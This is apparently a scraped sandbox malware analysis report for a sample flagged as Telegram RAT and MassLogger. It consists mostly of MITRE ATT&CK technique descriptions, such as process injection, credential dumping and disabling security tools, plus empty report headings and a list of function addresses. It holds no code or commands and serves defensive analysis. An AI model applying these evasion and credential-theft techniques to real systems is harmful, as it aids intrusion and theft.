Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report h8izmpp1ZM.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\aut2999.tmp

C:\Users\user\AppData\Local\Temp\wherefore

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
h8izmpp1ZM.exe

Function 005D3B3A Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 153
windowCOMMON

Function 005D49A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Function 005D4E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Function 00639155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Function 005D3015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Function 005D3041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Function 005D708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 005D3633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151
windowtimeregistryCOMMON

Function 005D3A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Function 005D3766 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 267
COMMON

Function 005DF76F Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 168
comCOMMON

Function 01188688 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Function 005D39D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Function 01188428 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156
fileCOMMON

Function 005D407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre